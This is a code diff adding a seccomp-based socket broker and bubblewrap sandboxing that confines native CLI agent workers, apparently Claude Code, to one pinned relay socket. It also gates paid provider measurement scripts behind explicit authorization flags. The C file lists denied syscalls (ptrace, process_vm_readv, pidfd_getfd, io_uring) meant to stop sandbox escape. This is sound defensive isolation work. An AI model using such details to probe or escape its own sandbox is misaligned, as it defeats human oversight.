b/scripts/measure-turn-surface-live.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; /** Private #587 research entrypoint. Never changes a production router/default. */ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; diff --git a/scripts/measure-turn-surface-report.ts b/scripts/measure-turn-surface-report.ts index 95aae1bcbe..e5c11bd128 100644 --- a/scripts/measure-turn-surface-report.ts +++ b/scripts/measure-turn-surface-report.ts @@ -1,3 +1,4 @@ +import "./measurement-entry-preload.ts"; /** Recompute the public routing table from retained measurement rows; no provider calls. */ import { readFileSync, writeFileSync } from "node:fs"; const args = process.argv.slice(2); diff --git a/scripts/measure-turn-surface-tokens.ts b/scripts/measure-turn-surface-tokens.ts index b67bb38d0b..11a0daf5c7 100644 --- a/scripts/measure-turn-surface-tokens.ts +++ b/scripts/measure-turn-surface-tokens.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; /** Count the captured installed-CLI surface; never generate an answer. */ import { createHash } from "node:crypto"; import { captureSurface, SURFACE_MODEL } from "./capture-turn-surface"; diff --git a/scripts/measurement-entry-preload.ts b/scripts/measurement-entry-preload.ts new file mode 100644 index 0000000000..f8363981c2 --- /dev/null +++ b/scripts/measurement-entry-preload.ts @@ -0,0 +1,18 @@ +import { basename, join } from "node:path"; +import { realpathSync } from "node:fs"; +import { installNetworkGuard } from "./test-network-guard"; +import { enterMeasurement } from "./measurement-entry"; + +// Synchronous first-import admission: denial precedes sibling runtime imports. +let entry = ""; +try { + const source = realpathSync(process.argv[1]!); + const name = basename(source); + if (source === realpathSync(join(import.meta.dir, name))) entry = name; +} catch { /* Library/test imports retain offline admission. */ } +export const measurementAdmission = enterMeasurement({ entry, argv: process.argv.slice(2), liveEval: process.env.BRAIN_LIVE_EVAL }, + { installOffline: () => { installNetworkGuard(); }, warn: message => console.error(message) }); +// Keep existing command parsers unchanged after the explicit flag is consumed. +export const measurementAuthorizationArgs = measurementAdmission === "live" && process.argv.includes("--allow-real-provider") + ? ["--allow-real-provider"] : []; +if (measurementAuthorizationArgs.length) process.argv = process.argv.filter(arg => arg !== "--allow-real-provider"); diff --git a/scripts/measurement-entry.ts b/scripts/measurement-entry.ts new file mode 100644 index 0000000000..073b0f9338 --- /dev/null +++ b/scripts/measurement-entry.ts @@ -0,0 +1,23 @@ +/** Fixed admission rules for repository measurement commands, never a provider extension. */ +export interface MeasurementEntryInput { entry: string; argv: readonly string[]; liveEval?: string } +const protocol587 = new Set(["measure-turn-surface-live.ts", "measure-turn-surface-tokens.ts"]); +const liveFlag = new Set(["measure-show-block.ts", "measure-show-block-server.ts", "measure-real-provider-dispatch.ts", "measure-pi-schema.ts", "measure-sync-judge.ts"]); +export const REAL_MEASUREMENT_WARNING = "REAL-PROVIDER MEASUREMENT: provider access and charges are authorized; this is not offline test proof."; +export function measurementMode(input: MeasurementEntryInput): "live" | "offline" { + if (protocol587.has(input.entry)) { + if (input.liveEval === "587") return "live"; + if (input.entry === "measure-turn-surface-live.ts" && input.liveEval === "587_OFFLINE") return "offline"; + throw new Error("Measurement refused before runtime import: require documented BRAIN_LIVE_EVAL=587 authorization"); + } + if (liveFlag.has(input.entry)) { + if (input.argv.includes("--allow-real-provider")) return "live"; + throw new Error("Measurement refused before runtime import: require documented --allow-real-provider authorization"); + } + return "offline"; +} +export function enterMeasurement(input: MeasurementEntryInput, effects: { installOffline(): void; warn(message: string): void }): "live" | "offline" { + const mode = measurementMode(input); + if (mode === "live") effects.warn(REAL_MEASUREMENT_WARNING); + else effects.installOffline(); + return mode; +} diff --git a/scripts/native-proof/Dockerfile b/scripts/native-proof/Dockerfile index 8978f4b4c5..39d222be41 100644 --- a/scripts/native-proof/Dockerfile +++ b/scripts/native-proof/Dockerfile @@ -8,6 +8,6 @@ RUN timeout --kill-after=10s 600s sh -ec ' \ if [ "$attempt" = 3 ]; then exit 1; fi; \ sleep 5; \ done; \ - DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 bubblewrap strace libseccomp2 git iproute2 openssl ca-certificates; \ + DEBIAN_FRONTEND=noninteractive apt-get -o Acquire::Retries=5 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 install -y --no-install-recommends btrfs-progs util-linux python3 gcc libc6-dev bubblewrap strace libseccomp2 git iproute2 openssl ca-certificates; \ rm -rf /var/lib/apt/lists/*' ENTRYPOINT ["python3"] diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c new file mode 100644 index 0000000000..9c64c4244d --- /dev/null +++ b/scripts/native-proof/native-connect.c @@ -0,0 +1,240 @@ +/* Test-only Linux connect broker. No untrusted syscall is continued. */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if defined(__x86_64__) +#define NATIVE_ARCH AUDIT_ARCH_X86_64 +#elif defined(__aarch64__) +#define NATIVE_ARCH AUDIT_ARCH_AARCH64 +#else +#error Unsupported native test architecture +#endif +#define ERRNO_DENY (SECCOMP_RET_ERRNO | EPERM) +#define BLOCK(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,ERRNO_DENY) +#define NOTIFY(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_USER_NOTIF) +static volatile sig_atomic_t child_pid; +static void forward(int sig) { if (child_pid > 0) kill(child_pid,sig); } +static int install_policy(void) { + struct sock_filter instructions[] = { + BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,arch)), + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,NATIVE_ARCH,1,0), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_KILL_PROCESS), + BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,nr)), + /* Reject x32 and other alternate syscall-number ABIs. */ + BPF_JUMP(BPF_JMP|BPF_JGE|BPF_K,0x40000000,0,1), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_KILL_PROCESS), + BLOCK(SYS_seccomp), BLOCK(SYS_ptrace), BLOCK(SYS_pidfd_getfd), + BLOCK(SYS_process_vm_readv), BLOCK(SYS_process_vm_writev), + BLOCK(SYS_io_uring_setup), BLOCK(SYS_io_uring_register), BLOCK(SYS_io_uring_enter), + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,SYS_prctl,0,4), + BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[0])), + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,PR_SET_SECCOMP,0,1), + BPF_STMT(BPF_RET|BPF_K,ERRNO_DENY), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW), + NOTIFY(SYS_connect), NOTIFY(SYS_sendmsg), NOTIFY(SYS_sendmmsg), + NOTIFY(SYS_bind), NOTIFY(SYS_listen), NOTIFY(SYS_accept), NOTIFY(SYS_accept4), + /* Connected-stream sendto(NULL) is safe; addressed sends are brokered. */ + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,SYS_sendto,0,6), + BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[4])), + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,0,0,3), + BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,args[4])+4), + BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,0,0,1), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_USER_NOTIF), + BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW) + }; + struct sock_fprog program={.len=sizeof(instructions)/sizeof(instructions[0]),.filter=instructions}; + if (prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)) return -1; + return (int)syscall(SYS_seccomp,SECCOMP_SET_MODE_FILTER,SECCOMP_FILTER_FLAG_NEW_LISTENER,&program); +} +static pid_t leader(pid_t tid) { + char path[64],line[256]; snprintf(path,sizeof(path),"/proc/%d/status",tid); + FILE *input=fopen(path,"re"); if(!input) return -1; + int result=-1; while(fgets(line,sizeof(line),input)) if(sscanf(line,"Tgid: %d",&result)==1) break; + fclose(input); return result; +} +static int duplicate(pid_t tid,int fd) { + pid_t pid=leader(tid); if(pid<=0) return -1; + int process=(int)syscall(SYS_pidfd_open,pid,0); if(process<0) return -1; + int copy=(int)syscall(SYS_pidfd_getfd,process,fd,0); close(process); return copy; +} +static int valid(int listener,uint64_t id) { return ioctl(listener,SECCOMP_IOCTL_NOTIF_ID_VALID,&id)==0; } +static uint64_t *cookies; +static size_t cookie_count; +static int socket_cookie(int fd,uint64_t *cookie) { + socklen_t size=sizeof(*cookie); return getsockopt(fd,SOL_SOCKET,SO_COOKIE,cookie,&size); +} +static int retain_cookie(int fd) { + uint64_t cookie=0; if(socket_cookie(fd,&cookie) || cookie_count>=65536) return -1; + uint64_t *next=realloc(cookies,(cookie_count+1)*sizeof(*cookies)); if(!next) return -1; + cookies=next; cookies[cookie_count++]=cookie; return 0; +} +static int approved_cookie(int fd) { + uint64_t cookie=0; if(socket_cookie(fd,&cookie)) return 0; + for(size_t i=0;ipid,&message,request->data.args[1],sizeof(message)) || message.msg_name + || message.msg_namelen || message.msg_control || message.msg_controllen || message.msg_iovlen>1024) return EPERM; + int flags=(int)request->data.args[2]; + if(flags & ~(MSG_DONTWAIT|MSG_NOSIGNAL|MSG_MORE|MSG_EOR)) return EPERM; + struct iovec *vectors=calloc(message.msg_iovlen?message.msg_iovlen:1,sizeof(*vectors)); + if(!vectors) return ENOMEM; + int error=EPERM,fd=-1;size_t copied=0,total=0; + if(message.msg_iovlen && !read_guest(request->pid,vectors,(uintptr_t)message.msg_iov,message.msg_iovlen*sizeof(*vectors))) goto done; + for(size_t i=0;i64*1024*1024-total) goto done; + total+=size; void *source=vectors[i].iov_base; + vectors[i].iov_base=malloc(size?size:1); if(!vectors[i].iov_base) goto done; + copied++; + if(size && !read_guest(request->pid,vectors[i].iov_base,(uintptr_t)source,size)) goto done; + } + fd=duplicate(request->pid,(int)request->data.args[0]); + if(fd<0 || !approved_cookie(fd) || !valid(listener,request->id)) goto done; + message.msg_iov=vectors; message.msg_name=NULL; message.msg_namelen=0; message.msg_control=NULL; message.msg_controllen=0; + ssize_t sent=sendmsg(fd,&message,flags); error=sent<0?errno:0; if(sent>=0)*value=sent; + done: + if(fd>=0)close(fd); + for(size_t i=0;idata.args[2],expected=strlen(allowed); + struct sockaddr_un address={0}; + if(lengthsizeof(address)) return EPERM; + struct iovec local={&address,length},remote={(void *)(uintptr_t)request->data.args[1],length}; + if(process_vm_readv(request->pid,&local,1,&remote,1,0)!=(ssize_t)length) return EPERM; + size_t supplied=length - offsetof(struct sockaddr_un,sun_path); + size_t actual=strnlen(address.sun_path,supplied); + if(address.sun_family!=AF_UNIX || actual!=expected || memcmp(address.sun_path,allowed,expected)) return EPERM; + int socket=duplicate(request->pid,(int)request->data.args[0]); if(socket<0) return EPERM; + int domain=0,type=0; socklen_t size=sizeof(int); + if(getsockopt(socket,SOL_SOCKET,SO_DOMAIN,&domain,&size) || getsockopt(socket,SOL_SOCKET,SO_TYPE,&type,&size) + || domain!=AF_UNIX || type!=SOCK_STREAM || !valid(listener,request->id)) { close(socket); return EPERM; } + /* The broker connects a duplicate of the blocked socket to a pinned inode. + It never continues the caller's syscall or trusts caller memory afterward. */ + struct sockaddr_un target={.sun_family=AF_UNIX}; + snprintf(target.sun_path,sizeof(target.sun_path),"/proc/self/fd/%d",pinned); + int result=connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); + int error=result==0?0:errno; + if(!error && retain_cookie(socket)) error=ENOMEM; + close(socket); return error; +} +static int run(int pinned,const char *allowed,const char *head,char **command,int probe,const char *foreign) { + int ready[2],ack[2]; if(pipe2(ready,O_CLOEXEC)||pipe2(ack,O_CLOEXEC)) return 125; + /* Native descendants cannot inspect or change their broker through /proc. */ + if(prctl(PR_SET_DUMPABLE,0)) return 125; + pid_t child=fork(); if(child<0) return 125; + if(child==0) { + close(ready[0]); close(ack[1]); + if(prctl(PR_SET_PDEATHSIG,SIGKILL)) _exit(125); + int listener=install_policy(); if(listener<0) _exit(125); + if(prctl(PR_SET_DUMPABLE,1)) _exit(125); + if(write(ready[1],&listener,sizeof(listener))!=sizeof(listener)) _exit(125); + char accepted=0; if(read(ack[0],&accepted,1)!=1 || accepted!=1) _exit(125); + close(listener); close(ready[1]); close(ack[0]); close(pinned); + if(probe) { + struct sockaddr_un target={.sun_family=AF_UNIX}; strcpy(target.sun_path,allowed); + int fd=socket(AF_UNIX,SOCK_STREAM,0); + if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))) _exit(121); + struct iovec vector={.iov_base="Ithaca",.iov_len=6}; struct msghdr message={.msg_iov=&vector,.msg_iovlen=1}; + if(sendmsg(fd,&message,MSG_NOSIGNAL)!=6) _exit(121); + close(fd); + strcpy(target.sun_path,foreign); fd=socket(AF_UNIX,SOCK_STREAM,0); + if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(122); + close(fd); + fd=socket(AF_INET,SOCK_STREAM,0); + if(fd<0 || connect(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(123); + close(fd); + fd=socket(AF_UNIX,SOCK_DGRAM,0); + if(fd<0 || bind(fd,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(124); + if(sendto(fd,"Ithaca",6,0,(struct sockaddr *)&target,sizeof(target))!=-1 || errno!=EPERM) _exit(124); + close(fd); + if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,NULL)!=-1 || errno!=EPERM) _exit(124); + if(syscall(SYS_pidfd_getfd,-1,0,0)!=-1 || errno!=EPERM) _exit(124); + if(syscall(SYS_seccomp,0,0,0)!=-1 || errno!=EPERM) _exit(124); + _exit(0); + } + execvp(command[0],command); _exit(127); + } + child_pid=child; close(ready[1]); close(ack[0]); + int remote=-1,listener=-1; + if(read(ready[0],&remote,sizeof(remote))==sizeof(remote)) listener=duplicate(child,remote); + close(ready[0]); char accepted=listener>=0; ssize_t acknowledged=write(ack[1],&accepted,1); close(ack[1]); + if(acknowledged!=1) { kill(child,SIGKILL); waitpid(child,NULL,0); if(listener>=0) close(listener); return 125; } + if(listener<0) { kill(child,SIGKILL); waitpid(child,NULL,0); return 125; } + signal(SIGTERM,forward); signal(SIGINT,forward); signal(SIGHUP,forward); + struct seccomp_notif_sizes sizes; + if(syscall(SYS_seccomp,SECCOMP_GET_NOTIF_SIZES,0,&sizes)) { kill(child,SIGKILL); waitpid(child,NULL,0); close(listener); return 125; } + struct seccomp_notif *request=calloc(1,sizes.seccomp_notif); + if(!request) { kill(child,SIGKILL); waitpid(child,NULL,0); close(listener); return 125; } + int status=0; + for(;;) { + if(waitpid(child,&status,WNOHANG)==child) break; + struct pollfd input={.fd=listener,.events=POLLIN}; if(poll(&input,1,100)<=0) continue; + memset(request,0,sizes.seccomp_notif); + if(ioctl(listener,SECCOMP_IOCTL_NOTIF_RECV,request)) { if(errno==EINTR||errno==ENOENT) continue; kill(child,SIGKILL); waitpid(child,&status,0); break; } + int error=EPERM; int64_t value=0; + if(valid(listener,request->id)) { + if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed); + else if(request->data.nr==SYS_sendmsg) error=send_connected(listener,request,&value); + } + if(error==EPERM) dprintf(STDERR_FILENO,"{\"kind\":\"native-offline-socket-denial\",\"head\":\"%s\",\"success\":false,\"reason\":\"native socket operation denied\"}\n",head); + struct seccomp_notif_resp response={.id=request->id,.error=-error,.val=value,.flags=0}; + /* flags=0: SECCOMP_USER_NOTIF_FLAG_CONTINUE would permit a memory race. */ + (void)ioctl(listener,SECCOMP_IOCTL_NOTIF_SEND,&response); + } + free(cookies);free(request); close(listener); child_pid=0; + return WIFEXITED(status)?WEXITSTATUS(status):128+WTERMSIG(status); +} +int main(int argc,char **argv) { + int probe=argc==3 && !strcmp(argv[1],"--probe"); + const char *head=probe?argv[2]:(argc>2?argv[2]:""); + if(strlen(head)!=40 || strspn(head,"0123456789abcdef")!=40) return 125; + char directory[]="/tmp/odysseus-connect-policy-XXXXXX",source[108],other[108]; + int server=-1; const char *allowed=NULL; int pinned=-1; + if(probe) { + if(!mkdtemp(directory)) return 125; + snprintf(source,sizeof(source),"%s/relay.sock",directory); snprintf(other,sizeof(other),"%s/foreign.sock",directory); + struct sockaddr_un address={.sun_family=AF_UNIX}; strcpy(address.sun_path,source); + server=socket(AF_UNIX,SOCK_STREAM,0); if(server<0||bind(server,(struct sockaddr *)&address,sizeof(address))||listen(server,16)) return 125; + pinned=open(source,O_PATH|O_CLOEXEC); allowed=source; + } else { + if(argc<13 || strcmp(argv[1],"--head") || strcmp(argv[3],"--socket") || strcmp(argv[5],"--device") + || strcmp(argv[7],"--inode") || strcmp(argv[9],"--allowed") || strcmp(argv[11],"--")) return 125; + pinned=open(argv[4],O_PATH|O_CLOEXEC); allowed=argv[10]; struct stat info; + if(pinned<0||fstat(pinned,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[6],NULL,10)||info.st_ino!=strtoull(argv[8],NULL,10)) return 125; + } + if(pinned<0 || strlen(allowed)>=108) return 125; + int result=run(pinned,allowed,head,probe?NULL:argv+12,probe,other); close(pinned); + if(probe) { close(server); unlink(source); rmdir(directory); if(result==0) puts("NATIVE_SOCKET_POLICY_HELD"); } + return result; +} diff --git a/scripts/native-proof/seccomp.json b/scripts/native-proof/seccomp.json index d6bb02056b..b22c33737a 100644 --- a/scripts/native-proof/seccomp.json +++ b/scripts/native-proof/seccomp.json @@ -427,6 +427,7 @@ }, { "names": [ + "pidfd_getfd", "process_vm_readv", "process_vm_writev", "ptrace" diff --git a/scripts/show-block-schema-forms.ts b/scripts/show-block-schema-forms.ts index 396927ffc3..9db0ad2f70 100644 --- a/scripts/show-block-schema-forms.ts +++ b/scripts/show-block-schema-forms.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; /** * The schema forms #336 A/Bs, and the credential its live half runs on. * diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 206cd4c56a..c9d3a7dac2 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -17,7 +17,7 @@ const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]); const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; -let bwrapExecutable = "bwrap", straceExecutable = "strace"; +let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; let denied = 0, reported = 0; export function nativeIsolationFailed(): boolean { return denied > 0; } export function assertNoNativeRefusals(): void { @@ -155,9 +155,39 @@ function qualify(): void { if (trace.exitCode !== 0) refuse("native connection audit setup failed"); bwrapExecutable = Bun.which("bwrap") ?? refuse("OS namespace setup failed"); straceExecutable = Bun.which("strace") ?? refuse("native connection audit setup failed"); + const policy = compileSocketPolicy(); + let socketProof: ReturnType; + try { socketProof = Bun.spawnSync([policy, "--probe", nativeTestHead()], { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + catch { refuse("native socket lifetime policy unavailable"); } + if (socketProof.exitCode !== 0) refuse("native socket lifetime policy unavailable"); qualified = true; } +function compileSocketPolicy(): string { + if (socketPolicyExecutable) return socketPolicyExecutable; + const directory = mkdtempSync(join(tmpdir(), "odysseus-native-policy-")); + const executable = join(directory, "native-connect"); + let compiled: ReturnType; + try { compiled = metadataSpawnSync(["cc", "-O2", "-std=c11", "-Wall", "-Wextra", "-Werror", + join(import.meta.dir, "native-proof/native-connect.c"), "-o", executable], + { env: { PATH: "/usr/bin:/bin", LANG: "C" }, stdout: "pipe", stderr: "pipe", timeout: 30000 }); } + catch { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compiler unavailable"); } + if (compiled.exitCode !== 0) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compilation failed"); } + chmodSync(executable, 0o555); chmodSync(directory, 0o555); + socketPolicyExecutable = executable; + process.on("exit", () => { chmodSync(directory, 0o700); rmSync(directory, { recursive: true, force: true }); }); + return executable; +} + +/** Kernel policy persists across native exec/fork and emulates only the pinned relay connection. */ +function nativeSocketCommand(command: string[], source: string, allowed: string): string[] { + const origin = ownedSocketOrigin(source), route = scriptedRoute.getStore(); + if (!origin || !route || normalizedOrigin(origin) !== normalizedOrigin(route.origin)) refuse("native socket policy lacks scripted authority"); + const info = lstatSync(realpathSync(source), { bigint: true }); + return [compileSocketPolicy(), "--head", nativeTestHead(), "--socket", allowed, "--device", String(info.dev), + "--inode", String(info.ino), "--allowed", allowed, "--", ...command]; +} + function systemMounts(): string[] { const argv: string[] = []; for (const path of SYSTEM) { @@ -351,7 +381,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const executable = realpathSync(command); const mounts = [...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), - "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, + "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), ...tools.mounts, "--ro-bind", bridge.directory, "/tmp/native-relay", @@ -378,7 +408,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); - argv.push("--chdir", cwd, "--", command, ...args); + argv.push("--chdir", cwd, "--", ...nativeSocketCommand([command, ...args], inheritedSocket && inheritedOrigin ? inheritedSocket : join(bridge.directory, "relay.sock"), "/tmp/native-relay/relay.sock")); const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); beforeLaunch(); return { ...audited, env: {}, beforeLaunch }; @@ -497,7 +527,7 @@ function ownedSocketOrigin(path: string): string | undefined { return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; } -function admittedRelay(argv: string[], socket: string): string | undefined { +function admittedRelay(argv: string[], socket: string): { origin: string; path: string } | undefined { for (let i = 0; i < argv.length - 2; i++) { if (!["--ro-bind", "--bind"].includes(argv[i]!) || !within(argv[i + 2]!, socket)) continue; const path = join(argv[i + 1]!, socket.slice(argv[i + 2]!.length)); @@ -511,7 +541,7 @@ function admittedRelay(argv: string[], socket: string): string | undefined { // No socket in that view may escape the same live scripted authority. const directory = statSync(argv[i + 1]!).isDirectory() ? argv[i + 1]! : undefined; if (directory && !relaySubtreeOwned(directory, authority.origin)) return; - return authority.origin; + return { origin: authority.origin, path: real }; } } @@ -598,7 +628,8 @@ export function nativeWorkerBoundary(env: Record): { const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; const route = scriptedRoute.getStore(); if (!route) refuse("scripted service authority was not registered"); - const ownedOrigin = socket ? admittedRelay(workerArgv, socket) : undefined; + const admitted = socket ? admittedRelay(workerArgv, socket) : undefined; + const ownedOrigin = admitted?.origin; if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); @@ -610,7 +641,7 @@ export function nativeWorkerBoundary(env: Record): { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } - workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath); + workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy()); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), @@ -620,6 +651,9 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); + const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; + const nativePayload = workerArgv.splice(payloadIndex); + workerArgv.push(...nativeSocketCommand(nativePayload, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET)); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => assertNativeMountSockets(nativeMounts, route.origin); beforeLaunch(); diff --git a/scripts/turn-surface-overlap.ts b/scripts/turn-surface-overlap.ts index ef094dee98..ace70458d8 100644 --- a/scripts/turn-surface-overlap.ts +++ b/scripts/turn-surface-overlap.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; /** Private #587 experiment: overlap installed-CLI startup with a bounded router. * MCP listing waits for the decision; claim discovers the fixture's project * skills after any diagnostic pruning. All arms use the same startup path. diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index 9459cf4d2c..a56c95325f 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -470,21 +470,9 @@ test("standalone native SDK entries install the guard before importing their run const source = readFileSync(join(ROOT, entry), "utf8"); // A first side-effect import evaluates the guard before static SDK imports, // backend dependencies or dynamic SDK resolution in the entry's body. - expect(source.split("\n")[0], entry).toMatch(/^import "(?:\.\.\/|\.\/)+(?:scripts\/)?test-network-child-preload\.ts";$/); + expect(source.split("\n")[0], entry).toMatch(/^import (?:.* from )?"(?:\.\.\/|\.\/)+(?:scripts\/)?(?:test-network-child-preload|measurement-entry-preload)\.ts";$/); } const preload = readFileSync(join(ROOT, "scripts/test-network-child-preload.ts"), "utf8"); expect(preload).toContain("const guard = installNetworkGuard();"); expect(preload.indexOf("installNetworkGuard();")).toBeLessThan(preload.indexOf('await import("bun:test")')); }); - - -test("paid provider measurement requires explicit admission before runtime imports", () => { - const source = readFileSync(join(ROOT, "scripts/measure-real-provider-dispatch.ts"), "utf8"); - const admission = source.indexOf('if (!process.argv.includes("--allow-real-provider"))'); - expect(admission).toBeGreaterThanOrEqual(0); - expect(source.slice(admission, source.indexOf("/**"))).toContain("process.exit(2)"); - expect(admission).toBeLessThan(source.indexOf("await import(")); - expect(source).not.toContain('import "./test-network-child-preload.ts"'); - expect(source).toContain('String(prior), "--allow-real-provider"'); - expect(source).toContain("Opt-in, paid, never run by tests or CI"); -}); diff --git a/tests/measurement-entry.test.ts b/tests/measurement-entry.test.ts new file mode 100644 index 0000000000..4e12eb347f --- /dev/null +++ b/tests/measurement-entry.test.ts @@ -0,0 +1,38 @@ +import { expect, test } from "bun:test"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { enterMeasurement, REAL_MEASUREMENT_WARNING } from "../scripts/measurement-entry"; +const ROOT=join(import.meta.dir,".."); +for (const entry of ["measure-turn-surface-live.ts","measure-turn-surface-tokens.ts","measure-show-block.ts","measure-show-block-server.ts","measure-real-provider-dispatch.ts","measure-pi-schema.ts","measure-sync-judge.ts"]) { + test(`${entry} refuses missing authorization and preserves explicitly authorized live access`, () => { + let installs=0; const warnings: string[]=[]; + const effects={installOffline(){installs++;},warn(message:string){warnings.push(message);}}; + expect(()=>enterMeasurement({entry,argv:[]},effects)).toThrow("before runtime import"); + expect(installs).toBe(0); expect(warnings).toEqual([]); + const protocol=entry.startsWith("measure-turn-surface-"); + expect(enterMeasurement({entry,argv:protocol?[]:["--allow-real-provider"],liveEval:protocol?"587":undefined},effects)).toBe("live"); + expect(installs).toBe(0); 